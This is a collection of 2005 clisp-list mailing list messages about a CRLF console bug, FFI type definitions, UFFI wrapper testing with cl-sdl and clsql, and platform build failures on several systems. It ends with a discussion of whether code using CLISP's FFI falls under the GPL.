*** - code contains a dotted list, ending with L

Whereas if I paste the same text WITH a terminating CRLF or CRLFCRLF
there is no error.

e




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Date: Thu May 26 22:37:53 2005
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Sam Steingold:
>>* Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-05-26 10:11:51 +0300]:
>>
>>Can be is necessary this requirement to issue separate point in the
>>beginning of chapter "31.3.1. Overview"?
> 
> 
> how about this:
> 
> <note><simpara>Unless specifically noted otherwize, type specification
>   parameters are not evaluated, so that they can be compiled by
>   &parse-c-type; into the internal format at macroexpansion time.
> </simpara></note>
> 

Very well! :)

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how to install, doc, bugs...
i mean, is it worth it?

thx
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> * Doug Currie <r@synibef.pbz> [2005-05-26 21:12:46 -0400]:
> Wednesday, May 25, 2005, 9:26:48 AM, you wrote:
>>> * Doug Currie <r@synibef.pbz> [2005-05-24 18:10:31 -0400]:
>>> Tuesday, May 24, 2005, 2:36:41 PM, you wrote:
>>>>> * Doug Currie <r@synibef.pbz> [2005-03-23 19:06:58 -0500]:
>>>>>
>>>>> If I remove the <CR><LF> from the lines I paste into the console,
>>>>> the error goes away. This is with the native windows console, with
>>>>> a clisp compiled with MinGW/msys on WinXP.
>>>
>>>> what happens when you replace CRLF with just CR or just LF?
>>>
>>> With just CR it seems to work fine.
>>>
>>> With just LF there is no LISP error, but the LF does not make a line
>>> break in the console.
>>>
>>> With CRLF it usually, but not always!?, gives an error, e.g.,
>>> *** - code contains a dotted list, ending with L
>
>> apparently, some CRLFs are turned into #\L (or #\l).
>
>> also, I noticed that this happens only when the region is not
>> terminated by a newline.  do you confirm this?
>
> Yes. Strange but true.
>
> If I paste several lines into the console with CRLF line endings, but
> there this no line termination on the final line, and then I type
> <enter> on the keyboard, I get
> *** - code contains a dotted list, ending with L
>
> Whereas if I paste the same text WITH a terminating CRLF or CRLFCRLF
> there is no error.

OK, so the symptom is:
in a clisp build with mingw
when we paste a multi-line expression into a console
and the expression does _NOT_ end with a newline,
the last newline (and only it?) is read by CLISP as #\l (or #\L ?)

is this correct?

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Sam Steingold:
> S1 is not evaluated.
> try
> (eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1)))

I should through "eval" declare all inherited types and all functions
which use this type.

> or
> (ffi:def-c-type t2 (ffi:c-array ffi:character #.s1))

It is interpreted, but it is not compiled.

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Hi,
Onay Urfalioglu wrote:
>What other possibilities are there to make use of e.g. cl-sdl with CLISP?

W.r.t. cl-sdl, I had a few hours spare time these last days.

In short, my UFFI wrapper (follow Sam Steingold's link to resources) do not work fully with cl-sdl. Reason is IMHO UFFI's brokenness w.r.t. nested structures and unclear semantics of macros like SLOT when faced non-primitive types (and lack of UFFI documentation). I'll post something on this subject in the uffi users mailing list when I'll get some more spare time. There was already a posting on uffi-list on this latter topic some month ago from somebody calling himself "rif".

I could run sdl-demos/example1 up to the point where it draws the coloured triangle and then fails in the event loop. Straight-forward modifications to Danish's sdl-ffi/uffi.lisp file were needed to get to that point.

If you go and try out my UFFI wrappers, please report your experience and findings.

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	Jorg Hohle.


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Date: Mon May 30 04:37:55 2005
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Hi,

Yaroslav Kavenchuk wrote:
>> [3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1))
>S1 is not evaluated.

>try
>(eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1)))
That will probably not work with other forms using this type in compiled mode.

>or
>(ffi:def-c-type t2 (ffi:c-array ffi:character #.s1))
I generally dislike use of #. but that's just a personal bias.

Use macros when you need an extra round of evaluation.

(eval-when (:compile..etc.)
  (defconstant s2 100))

(macrolet ((my-type (n) `(def-c-type t2 (ffi:c-array ffi:character ,n))))
  (my-type s2))

While this looks like overkill or convoluted, it has none of the above drawbacks; it is fully compatible with compilation, doesn't give a hit on the EVAL/EVIL counter and is as top-level as the original (def-c-type ...) form.

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	Jorg Hohle.


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Yaroslav Kavenchuk writes:
>  typedef void (Tcl_FreeProc) _ANSI_ARGS_((char *blockPtr));
>  #define TCL_VOLATILE	((Tcl_FreeProc *) 1)
>How it is possible realize TCL_VOLATILE?

Try out (unsigned-foreign-address 1), but I'm not sure whether src/foreign.d accepts arbitrary pointers when it expects a function pointer, like it does for non-function pointers.
If that fails, you'll have to resort to
(foreign-function
 (unsigned-foreign-addres 1)
 (parse-c-type 'Tcl_FreeProc))
Even that could crash if clisp tries to dereference the pointer to check whether its a trampoline function...


>(ffi:def-c-struct (Tcl_SavedResult :typedef)
>                  (result ffi:c-string)
>                  (freeProc Tcl_FreeProc) ...

I'm no friend of def-c-struct unless somebody really wants and uses an equivalent Lisp defclass object be built and wishes transformation between the two worlds. If you ever only work with references to objects and never need a Lisp tcl-savedresult CLOS instance, then I recommend you use (def-c-type tcl-savedresult (c-struct vector slots...)) instead.

For example, my UFFI macro wrappers never ever translate uffi:def-struct into ffi:def-c-struct. That would be a waste of resources, since UFFI code does not expect to work on Lisp objects.


Somewhat related, if you have reasons to believe that Lisp code need not bother with low-level tcl-savedresult objects (which I don't know), then I'd use opaque c-pointer types instead, and not bother declaring loads of unneeded structures and types.


BTW, what do you plan to do with Tcl? If the Tk GUI is of interest to you, do you know about ltk?

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	Jorg Hohle.


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Hoehle, Joerg-Cyril:

<skip>
> I'm no friend of def-c-struct unless somebody really wants and uses an
> equivalent Lisp defclass object be built and wishes transformation
> between the two worlds. If you ever only work with references to objects
> and never need a Lisp tcl-savedresult CLOS instance, then I recommend
> you use (def-c-type tcl-savedresult (c-struct vector slots...)) instead.

Thanks!!! It that is necessary for me! It so simple! :)

> For example, my UFFI macro wrappers never ever translate uffi:def-struct
> into ffi:def-c-struct. That would be a waste of resources, since UFFI
> code does not expect to work on Lisp objects.
> 
> 
> Somewhat related, if you have reasons to believe that Lisp code need not
> bother with low-level tcl-savedresult objects (which I don't know), then
> I'd use opaque c-pointer types instead, and not bother declaring loads
> of unneeded structures and types.
> 
> 
> BTW, what do you plan to do with Tcl? If the Tk GUI is of interest to
> you, do you know about ltk?

Interests: traning (lisp), training (ffi), training (lisp+tcl+tk).

And ltk has some problems under windows (at me).

Many thanks once again!

-- 
WBR, Yaroslav Kavenchuk.


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[Reposted to the list]
Bernard Urban wrote:
>Some comments about your recents emails:
>
>1) Stack overflow in clisp: to avoid the problem, I switched to a
>allocate-{deep,shallow} formulation. The similarities with cmucl are
>now striking, see code below.=20
>I can now solve linear systems of size 1000x1000 in a matter
>of seconds.=20
>I remember that I had also (rare) stack overflow problems in the
>past in clisp on other programs, but not in cmucl. I think clisp
>must have a lower default stack limit, but I never investigated that.

>2) Array ordering on Lisp, Fortran, and C
>In Fortran and Lisp, all multidimensional arrays are behind the scene
>one-dimensional, with some syntaxic sugar to access them
>"naturally". But in your example of #2a((1 2 3)(4 5 6), if in Lisp the
>1D version is  #(1 2 3 4 5 6), in Fortran it will be  #(1 4 2 5 3 6).
>I have used ARRAY-ROW-MAJOR-INDEX in the code below=20
>as you suggested, and the difference is very visible now:=20
>you must transpose the input matrix to feed Fortran.
>
>I said I was not able to have correct result when initializing foreign
>variable mat-alien with a 2D Lisp matrix: I missed the
>transpose step, so final result was obviously false.
>
>Which leads us the case of C array semantic. Consider the following
>C code:
>
>/* in memory, 6 consecutive elements */
>double test[2][3] =3D { 1, 2, 3, 4, 5, 6 };
>
>and the following code:
>
>/* not sure that elements are consecutives */=20
>double * test_dyn[2];
>int i, j;
>  for (i =3D 0; i < 2; ++i) {
>    test_dyn[i] =3D calloc(3, sizeof(double));
>    for (j =3D 0; j < 3; ++j) {
>      test_dyn[i][j] =3D 1 + j + 3*i;
>    }
>  }
>
>test_dyn is what I called "dynamic" C arrays. The first "constant"
>ones are of rare use in my experience. So it did not make sense to me
>that FFI supports them, I was sure before your remarks we were
>speaking about the "dynamic" variant. This explains also the
>insistance on having constant matrix dimensions in the FFI.

Ah, I see. Indeed, test_dyn[][] and similar-looking test[][] are =
confusing.


>3) I got your UFFI patches, I will make some tests, and inform you
>   about the results.
>
>4) I do not intend to use your memofn function in that FFI case,=20
>   as it probably allocates on stack.

Yes, :out uses the stack, like with-foreign-object.

>5) In the following code, I added also the generic Lapack eigenvalue
>   solver (in case you wonder: in f2c Fortran, length of strings are
>   passed as hidden arguments). Stack limitation is even more critical
>   for that.=20

[cmucl variant]
are you sure you need
(multiple-value-bind (ret info)
  (declare ignore ret)
even for a function with no/void return type declaration?
I thought (I would have bet) cmucl and clisp behave the same and return =
no value, thus the primary value would be that of the first :out or =
:in-out parameter (as in CLISP).

>		(setf (deref mat-alien (array-row-major-index matrice j i))
>		      (aref matrice i j))))
I'd suggest you add a commment to your code about this transposition =
issue, otherwise it looks more like a typo.

[clisp variant]
>	  (x-alien (allocate-deep 'double-float y :count n))

>	       (let ((resul (make-array `(,n)=20
Just use (make-array n ...) for 1 dimension.
>					:element-type 'double-float)))
>		 (dotimes (i n (values resul (=3D info 0)))
>		   (setf (aref resul i)=20
>			 (element (foreign-value x-alien) i))))))

Just use
(values (foreign-value x-alien) (=3D info 0))
CLISP knows about the foreign array and can convert for you. For =
1-dimension, there's no problem with transposition.


>;;; Recherche de valeurs et vecteurs propres
>(defun valpro (matrice)
>  "Recherche des valeurs propres d'une matrice r=E9elle avec=20
[not reviewed]

>Again, thanks a lot for your feedback, I begin to see the light !

Regards,
	J=F6rg H=F6hle.


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Date: Mon May 30 09:43:21 2005
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Hi,

I have cl-sdl running with clisp -- well, I only tested sdl-test.lisp and sdl-example1.lisp.

You need
a) my uffi patches (see Sam's pointer, i.e. the sourceforge patches section)
b) remove the ffi:foreign-value in from of the ffi::%slot in get-slot-pointer
   -- sigh, I wish UFFI had a specification :-(
c) reload sdl.lisp and sdl-ext.lisp from source after loading the system,
   -- this one is a bug in CLISP
d) straight-forward modifications to cl-sdl/ffi/uffi.lisp, as I said.

I used clisp (today's CVS), but 2.33.2 should work if you uncomment the definition in my ffi-patches-cvs.lisp for the foreign-variable constructor (see a).

examples/Mandelbrot.lisp fails with an array out of bounds error at some point, but cmucl does it too.

d) is as follows:
 + add clisp to obtain a nil +null-pointer+
 + turn 3x #+nil to #+clisp to get deref-array/pointer/allocate-foreign-object from the uffi equivalents, no need for a work-around in cl-sdl.

Regards,
	Jorg Hohle.


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Date: Mon May 30 09:56:05 2005
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Hi,

Bernard Urban wrote:
[please always reply to the list as well]
>I have done some tests with your UFFI for clisp. I have choosen
>something different than lapack, namely the PROJ library  (a 
>geographic projection
>package; there are 'proj' and 'proj-ps-doc' Debian packages).

Thanks a lot for your report. Actually, it's the first one I ever received (I hope I forgot nobody, sorry if I do)!

>There is a one-line patch to apply to uffi.lisp (file patch-uffi).
Ah I see, I took advantage of the fact that the :library argument is actually evaluated, you maybe have an older clisp where this was not the case.

The advantage of the original code is that the library paths can be different between compilation and load&play times. No fixed path gets compiled in.

>The most annoying thing here is the need of the C-wrapper, it lowers a
>lot the usefulness of UFFI. Notice that clisp native ffi can avoid it
>easily, but cmucl seems to need it anyway, as returning struct seems
>here problematic.

Browsing uffi-ized code, you'll see that a lot of packages use some custom stubs, e.g. cl-sdl, clsql etc. IIRC...

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	Jorg Hohle.


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Date: Tue May 31 08:48:48 2005
X-Original-Date: Tue, 31 May 2005 17:04:05 +0200

Hello Lisp, 

the subject line says it all: Clsip CVS fails to build
on my Linux/PPC box. heres the end of the buid messages:

 full/lisp.run -B . -M full/lispinit.mem -norc -q -i bindings/glibc/linux
 -i bindings/glibc/wrap -i regexp/regexp -i clx/new-clx/clx -i
 clx/new-clx/image -i clx/new-clx/resource -i syscalls/posix -x
 (saveinitmem "full/lispinit.mem") ./clisp-link: line 46: full/lisp.run:
 
 Nosuch file or directory make: *** [full] Error 1


Here's my configure invocation:
 ./configure --prefix=/usr  --with-dynamic-ffi \
   --with-dynamic-modules \
   --with-module=bindings/glibc \
   --with-module=regexp \
   --with-module=clx/new-clx \
   --with-module=syscalls \
   build


Just for fun i linked 'base' to 'full' and entered the last step manually,
but the build will stop with the following message (my indentation):

 $ full/lisp.run -B . -M full/lispinit.mem -norc -q -i bindings/glibc/linux 
   -i bindings/glibc/wrap -i regexp/regexp -i clx/new-clx/clx 
   -i clx/new-clx/image -i clx/new-clx/resource -i syscalls/posix 
   -x '(saveinitmem "full/lispinit.mem")' ;; Loading file

 /usr/local/src/LISP/DEBS/clisp/build/bindings/glibc/linux.fas ... *** -
 FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "__errno_location" does
 not exist



 TIA Ralf Mattes



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Date: Wed Jun  1 09:08:13 2005
X-Original-Date: Wed, 1 Jun 2005 18:05:16 +0200

Ralf Mattes wrote:
>Clsip CVS fails to build on my Linux/PPC box
> FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function=20
>"__errno_location" does not exist

Uncomment the errno c-var code in linux.lisp as a work-around. Maybe =
clisp should provide the address of errno natively in the FFI (in the =
init section of foreign.d, so DEF-C-VAR can find it under a known =
name), so there would be no need to play with glibc-specific stuff. The =
day clisp might have threads that would then be changed, so we have =
time (or the __errno_location be made dependent on #+MT or whatever).

BTW, is your Linux/PPC box using glibc?

Regards,
	J=F6rg H=F6hle


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Date: Wed Jun  1 14:50:26 2005
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On Wed, 01 Jun 2005 18:05:16 +0200, Hoehle, Joerg-Cyril wrote:

> Ralf Mattes wrote:
>>Clsip CVS fails to build on my Linux/PPC box
>> FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function 
>>"__errno_location" does not exist

Allowed myself to insert linebreaks into your posting ... :-/
 
> Uncomment the errno c-var code in linux.lisp as a work-around. 
> Maybe clisp should provide the address of errno natively in the FFI (in
> the init section of foreign.d, so DEF-C-VAR can find it under a known
> name), so there would be no need to play with glibc-specific stuff. The
> day clisp might have threads that would then be changed, so we have time
> (or the __errno_location be made dependent on #+MT or whatever).

Hmm, i went the easier way and configured with threads. 
 
> BTW, is your Linux/PPC box using glibc?

Yes, of course. Why wouldn't it?

BTW, the build is still broken - the configure script in modules/regexp
seems to have problems finding install-sh (maybe a problem when
building with a build directory?). The build stops at pretty much the same
spot as i reported in my last mail. 
Sorry, i don't have enough time right now to debug any further. Thanks
for your input

   Ralf Mattes
 

> Regards,
> 	Jörg Höhle
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Date: Wed Jun  1 15:34:03 2005
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Hi Sam,

 I am still getting around to asking CIA for a relational fact book.
In the meantime one can ask "give the biggest country that borders a coun=
try
that borders a country that borders Israel."=20

> > A student of mine just finished this. He downloaded the code from
> > Andreas Thiele that relies mostly on the FFI package. When I get the
> > time I am going to go over his code in more detail to get a better
> > understanding.=20

> did your student have to make a lot of changes?

Well I made a lot of re-organization changes, but the basic ODBC stuff wo=
rked
out of the box.

Now I have a question. We are using=20
"2.33.2 (2004-06-02)" on LINNUX.

When I run STEP from a memory image I (only sometimes) get a real difficu=
lt bug.
Basically, under exactly the same inputs, the memory image returns a diff=
erent
value for a call to get-hash. The bug is very hard to reproduce, but I wa=
s
wondering if you have any pointers on this.=20

In the meantime I have decided not to run from a memory image. I will try=
 to get
a better feel for what is happenening. But like I said it is very hard to
track/reproduce this bug.=20

Cheers,
MM




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> projects at http://www.lispnyc.org/summerofcode.html

First item is cl-posix. Too bad I'm not a student anymore :-(

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Date: Fri Jun  3 02:26:38 2005
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Hi,

R. Mattes wrote:
>>>Clsip CVS fails to build on my Linux/PPC box
>>>"__errno_location" does not exist

>> BTW, is your Linux/PPC box using glibc?
>Yes, of course. Why wouldn't it?

>Sorry, i don't have enough time right now to debug any further. Thanks
>for your input

When you do have time, please report
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errno became a cpp macro to yield the corrent value on a per-thread =
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Date: Fri Jun  3 06:50:40 2005
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Hi,

this is a short notice that I now successfully tested clsql-3.1.15(?) =
with postgres and my UFFI wrappers with a recent cvs-clisp.

In other words, the MOP support in CLISP, which clsql makes use of, =
works fine. I hadn't had a change to test this since last year, when =
Bruno Haible and Kevin Rosenberg made changes to CLISP's MOP and clsql =
to this effect.

I got 3 warning from loading sql/metaclasses.fas, about redefining =
metaclasses having no effect(?).

This also means that my latest UFFI-wrapper macros, modified for =
suitability with cl-sdl, did not break the clsql postgres code (but =
maybe clsql/db-postgres does not use uffi:get-slot-value, so the =
changes did not affect it).

Only 4 of 233 testcases failed: the 4 involving use of the LOOP =
extension (e.g. add-loop-path of MIT-LOOP), which is not available in =
CLISP's LOOP.

My UFFI wrapper macros of CLISP are in Sourceforge's Patches section =
about clisp:
http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1028683&gro=
up_id=3D1355&atid=3D301355

[They are not yet in UFFI itself, because there are still several =
conceptual mismatches between how UFFI uses C type declarations and =
what CLISP's FFI expects about types, not to mention lack of time to =
merge my code into cl-uffi]

I forgot that I could also have tested the postgres-socket backend, but =
then IIRC, that one does not use UFFI (except maybe for 64bit int =
conversions).

Regards,
	J=F6rg H=F6hle


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Is anyone using clisp on IRIX? I would be interested to know if FFI is 
currently working on IRIX and possibly test some changes to FFI.

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Hoehle, Joerg-Cyril wrote:
> this is a short notice that I now successfully tested
> clsql-3.1.15(?) with postgres and my UFFI wrappers with a recent
> cvs-clisp.

Hi Joerg,

I've been (slowly) working on replying to your recent posts. But, I
wanted to jump ahead to congratulate you on your
accomplishment. That's good news, indeed.

> Only 4 of 233 testcases failed: the 4 involving use of the LOOP
> extension (e.g. add-loop-path of MIT-LOOP), which is not available
> in CLISP's LOOP.

There's implementation specific-code in CLSQL for LOOP extensions for
Allegro, CMUCL, Lispworks, OpenMCL, and SBCL. CLISP would also require
specific code written to support the LOOP extensions.

> My UFFI wrapper macros of CLISP are in Sourceforge's Patches section about clisp:
> http://sourceforge.net/tracker/index.php?func=detail&aid=1028683&group_id=1355&atid=301355

I'll take a look at them. I'm in favor of adding CLISP support to
UFFI. What's the legal status of incorporating modified versions of
your code into UFFI. UFFI, as you may know, is licensed under BSD. I
believe that CLISP has restrictions on referring to internal symbols
unless such referrents are licensed under the GPL.

> I forgot that I could also have tested the postgres-socket backend,
> but then IIRC, that one does not use UFFI (except maybe for 64bit
> int conversions).

No, the postgresql-socket backend doesn't use any FFI. But,
appropriate socket stream code would need to be added to CLSQL.

Ideally, I'll get to the specifics of your previous posts over the
next week.

-- 
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Hi,
I have problem building clisp 2.33.2 on Mac OS X.
uname -a
Darwin Dario-Lahs-Computer.local 7.9.0 Darwin Kernel Version 7.9.0: Wed 
Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC  
Power Macintosh powerpc

gcc -v
Reading specs from /usr/libexec/gcc/darwin/ppc/3.3/specs
Thread model: posix
gcc version 3.3 20030304 (Apple Computer, Inc. build 1671)


test -d bindings || mkdir -p bindings
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  
-Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT 
-DNO_SIGSEGV -I. -c spvw.c
In file included from lispbibl.d:1704,
                  from spvw.d:24:
unix.d:202: error: conflicting types for `abort'
/usr/include/stdlib.h:125: error: previous declaration of `abort'
In file included from lispbibl.d:1704,
                  from spvw.d:24:
unix.d:342: error: conflicting types for `getcwd'
/usr/include/unistd.h:147: error: previous declaration of `getcwd'
In file included from lispbibl.d:1704,
                  from spvw.d:24:
unix.d:832: error: conflicting types for `libiconv'
/usr/include/iconv.h:82: error: previous declaration of `libiconv'
spvw.d: In function `SP':
spvw.d:632: warning: function returns address of local variable
make: *** [spvw.o] Error 1

When I manualy fix these, other like that appear. I failed to google 
answer for this.

Dario



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I am building clisp (cvs download today) with the following parameters:

./configure build-dir
cd build-dir

./makemake --prefix=/usr/local/clisp \
--with-dynamic-ffi \
--with-module=regexp \
--with-module=syscalls \
 > Makefile

make config.lisp
make


and the following results:

------------------------------------------------------------------------------
base/lisp.run -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i 
syscalls/posix -i regexp/regexp -x (saveinitmem "base/lispinit.mem")
;; Loading file /home/bsd/cvs/clisp/build-dir/i18n/i18n.fas ...
;; Loaded file /home/bsd/cvs/clisp/build-dir/i18n/i18n.fas
;; Loading file /home/bsd/cvs/clisp/build-dir/syscalls/posix.fas ...
;; Loaded file /home/bsd/cvs/clisp/build-dir/syscalls/posix.fas
;; Loading file /home/bsd/cvs/clisp/build-dir/regexp/regexp.fas ...
;; Loaded file /home/bsd/cvs/clisp/build-dir/regexp/regexp.fas
1745856 ;
872340
rm -rf full
CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp syscalls || 
(rm -rf full ; exit 1)
gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE 
-DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/home/bsd/cvs/clisp/build-dir -c modules.c
In file included from modules.d:12:
/home/bsd/cvs/clisp/build-dir/clisp.h:535: warning: register used for two 
global register variables
In file included from modules.d:36:
modules.h:5: conflicting types for `module__regexp__subr_tab'
modules.h:4: previous declaration of `module__regexp__subr_tab'
modules.h:6: conflicting types for `module__syscalls__subr_tab'
modules.h:3: previous declaration of `module__syscalls__subr_tab'
*** Error code 1

Stop in /home/bsd/cvs/clisp/build-dir.
-bash-2.05b$
-----------------------------------------------------------------------------------

What could be causing this error?

My system is
FreeBSD rc-fbsd.mshome.net 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Mon Oct 27 
17:51:09 GMT 
2003     root@freebsd-stable.sentex.ca:/usr/obj/usr/src/sys/GENERIC  i386


Thanks
RC



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> From: Will Newton=20
>=20
> On Sunday 05 June 2005 07:04, you wrote:
>=20
> > I use clisp on irix, but only to build maxima.  I am happy to try
> > some tests for you.
>=20
> That's great news. :)
>=20
> I was worried that no-one was building on IRIX. Does ./configure=20
> --with-dynamic-ffi work for you?
>=20
> I've attached a patch that fixes FFI on little endian MIPS=20
> architectures (SGI=20
> MIPS boxes are big-endian, little endian MIPS is more comon=20
> in embedded=20
> systems). If you have time could you try building with this patch and=20
> --with-dynamic-ffi? The patch is against 2.33.2.
>=20
> Thanks,
>

To build clisp-2.33.2 on irix6.5.22m I needed to configure with bash:
	env CONFIG_SHELL=3D/usr/local/bin/bash ./configure irix6.5
then the usual
	cd irix6.5
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	make
	make check

I get identical results with and without your patch.  All tests pass.

	David


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Date: Mon Jun  6 04:17:29 2005
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On Monday 06 June 2005 07:52, Billinghurst, David (CALCRTS) wrote:

> To build clisp-2.33.2 on irix6.5.22m I needed to configure with bash:
> 	env CONFIG_SHELL=/usr/local/bin/bash ./configure irix6.5
> then the usual
> 	cd irix6.5
> 	./makemake --with-dynamic-ffi > Makefile
> 	make config.lisp
> 	make
> 	make check

I'll try and track this down, assuming we want to be able to build with a 
standard bourne shell.

> I get identical results with and without your patch.  All tests pass.

Thanks for testing the patch.

Would you be happy to merge this patch if I sync it with CVS Bruno?


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bsd1628 wrote:

> I am building clisp (cvs download today) with the following parameters:
> 
> ./configure build-dir
> cd build-dir
> 

----------------------------------------
> ./makemake --prefix=/usr/local/clisp \
> --with-dynamic-ffi \
> --with-module=regexp \
> --with-module=syscalls \
>  > Makefile
----------------------------------------

This is lines from end of out after ./configure ?

In my case (mingw):

$ ./configure --with-mingw --config build-test
....
To continue building CLISP, the following commands are recommended
  (cf. unix/INSTALL step 4):
    cd build-small
    ./makemake --with-dynamic-ffi  --win32gcc   > Makefile
    make config.lisp
    vi config.lisp
# The default stack size on your platform is insufficient
# and must be increased to at least 8192.  You must do either
#    'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or
#    'limit stacksize 8192' (for C shell derivarives, e.g., tcsh)
    make
    make check


No "--with-module=..."! Perhaps, in your system in another way?

$ cat src/NEWS
Important notes
---------------

* All .fas files generated by previous CLISP versions are invalid and
  must be recompiled.  This is caused by the addition of MOP, the DEFSETF
  fixes, and the TRANSLATE-PATHNAME and MAKE-HASH-TABLE enhancements.
  Set CUSTOM:*LOAD-OBSOLETE-ACTION* to :COMPILE to automate this.
  See <http://clisp.cons.org/impnotes.html#loadfile> for details.

* The name of the Run-Control file has changed from '_clisprc' to
  '.clisprc' on all platforms.
  If you are using woe32, please rename your Run-Control file.

* Modules i18n, regexp, and syscalls are now present even in the base
  linking set.  Do not pass, e.g., "--with-module=regexp" to configure.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
<skip>


I am sorry if I am wrong.

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I am lisp newbie and want to create a new process.
Following is the sample code I wrote which creates a new process that modif=
ies=20
a variable.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin of file
(defvar *var*)

(setf *var* 1)

(defun my-func()
  (setf *var* (+ *var* 100))
  (format t "~A" *var*))

(defun my-process()
  (let (p1 (make-process #'my-func))))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; end of file

But the function my-func is not getting called.=20
What do I have to do to run the process?
I have compiled clisp  using --with-threads=3DPOSIX_THREADS

Regards,
Ashwin


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Ashwin Rao writes:
> I am lisp newbie and want to create a new process.
> Following is the sample code I wrote which creates a new process that modifies 
> a variable.
> 
> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin of file
> (defvar *var*)
> 
> (setf *var* 1)
> 
> (defun my-func()
>   (setf *var* (+ *var* 100))
>   (format t "~A" *var*))
> 
> (defun my-process()
>   (let (p1 (make-process #'my-func))))
> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; end of file
> 
> But the function my-func is not getting called. 
> What do I have to do to run the process?
> I have compiled clisp  using --with-threads=POSIX_THREADS

Threads are not implemented yet in clisp.

In the mean time, you can use unix processes with: (linux:fork).


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> * Ashwin Rao <nfujva.fuveinagur@tznvy.pbz> [2005-06-08 16:55:08 +0500]:
>
> (defun my-process()
>   (let (p1 (make-process #'my-func))))

this binds P1 to NIL and MAKE-PROCESS to #'MY-FUNC.
what you want is
     (let ((p1 (make-process #'my-func))))
which binds P1 to the return value of (MAKE-PROCESS #'MY-FUNC).

PS. CLISP MT does not really work.  Patches are welcome.

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Date: Wed Jun  8 11:47:54 2005
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 From the CLisp copyright:

"This copyright does *not* cover user programs that run in CLISP and
  third-party packages not part of CLISP, if they only reference external
  symbols in CLISP's public packages (namely the packages COMMON-LISP,
  COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP
  internals and would as well run in any other Common Lisp implementation."

Hmmm. FFIs are not standardized. (Aside: CLisp's happens to rock big 
time.) But if I use the FFI, which is not listed as one of the "public" 
packages, my code also will not run in any other CL.

Is my app now a derived work?

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> * Kenny Tilton <xgvygba@alp.ee.pbz> [2005-06-08 14:47:01 -0400]:
>
>  From the CLisp copyright:
>
> "This copyright does *not* cover user programs that run in CLISP and
>   third-party packages not part of CLISP, if they only reference external
>   symbols in CLISP's public packages (namely the packages COMMON-LISP,
>   COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP
>   internals and would as well run in any other Common Lisp implementation."
>
> Hmmm. FFIs are not standardized. (Aside: CLisp's happens to rock big
> time.) But if I use the FFI, which is not listed as one of the
> "public" packages, my code also will not run in any other CL.
>
> Is my app now a derived work?

it is my understanding that portability layers are explicitly exempt
from the GPL contagion.

The rule of thumb is: is your application useful without CLISP?
(i.e., can it be used with other lisps?)
if not, it's GPL.
if yes, it's not.

NOTE: the above is not authoritative, the COPYRIGHT file it.
Bruno should clarify the issue both here and in the COPYRIGHT file.

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Sam Steingold wrote:

>>* Kenny Tilton <xgvygba@alp.ee.pbz> [2005-06-08 14:47:01 -0400]:
>>
>> From the CLisp copyright:
>>
>>"This copyright does *not* cover user programs that run in CLISP and
>>  third-party packages not part of CLISP, if they only reference external
>>  symbols in CLISP's public packages (namely the packages COMMON-LISP,
>>  COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP
>>  internals and would as well run in any other Common Lisp implementation."
>>
>>Hmmm. FFIs are not standardized. (Aside: CLisp's happens to rock big
>>time.) But if I use the FFI, which is not listed as one of the
>>"public" packages, my code also will not run in any other CL.
>>
>>Is my app now a derived work?
>>    
>>
>
>it is my understanding that portability layers are explicitly exempt
>from the GPL contagion.
>
Encouraging.

>
>The rule of thumb is: is your application useful without CLISP?
>(i.e., can it be used with other lisps?)
>if not, it's GPL.
>if yes, it's not.
>
But this is less encouraging: if the code uses CLisp FFI explicitly, it 
is not useful without CLisp. But only in a trivial sense,  because I 
just need to conditionalize the FFI stuff. But triviality may not help 
legally.

So, thanks, but I am still hearing conflicting answers. Hopefully Bruno 
can clear this up.

Thanks for responding.

kenny





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Kenny Tilton writes:
> >The rule of thumb is: is your application useful without CLISP?
> >(i.e., can it be used with other lisps?)
> >if not, it's GPL.
> >if yes, it's not.
> >
> But this is less encouraging: if the code uses CLisp FFI explicitly, it 
> is not useful without CLisp. But only in a trivial sense,  because I 
> just need to conditionalize the FFI stuff. But triviality may not help 
> legally.
> 
> So, thanks, but I am still hearing conflicting answers. Hopefully Bruno 
> can clear this up.

It seems to me that if you'd design an API KFFI and you'd program your
application against this KFFI API,  you could implement the KFFI API
on UFFI and on CLISP FFI.  It's possible that the KFFI to CLISP FFI
need to be GPL'ed, but if I've understood correctly, not your
application.  IANAL.

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Pascal Bourguignon wrote:
>It seems to me that if you'd design an API KFFI and you'd program your
>application against this KFFI API,  you could implement the KFFI API
>on UFFI and on CLISP FFI.  It's possible that the KFFI to CLISP FFI
>need to be GPL'ed, but if I've understood correctly, not your
>application.  IANAL.

Me too, IANAL.

I've a feeling that slime is better positioned than UFFI w.r.t. copyright. UFFI macros are split on a #+xyz case across each and every file, while slime has a easily separatable swank-clisp.lisp file. The header of that files says GPL, while e.g. swank-allegro.lisp says "public domain".

Thus I could imagine source package distributing the whole of it, claiming <prefered copyright> on the largest part of the package, and GPL on some. IMHO that should work. Or they could remove the GPL parts from a particular distribution.

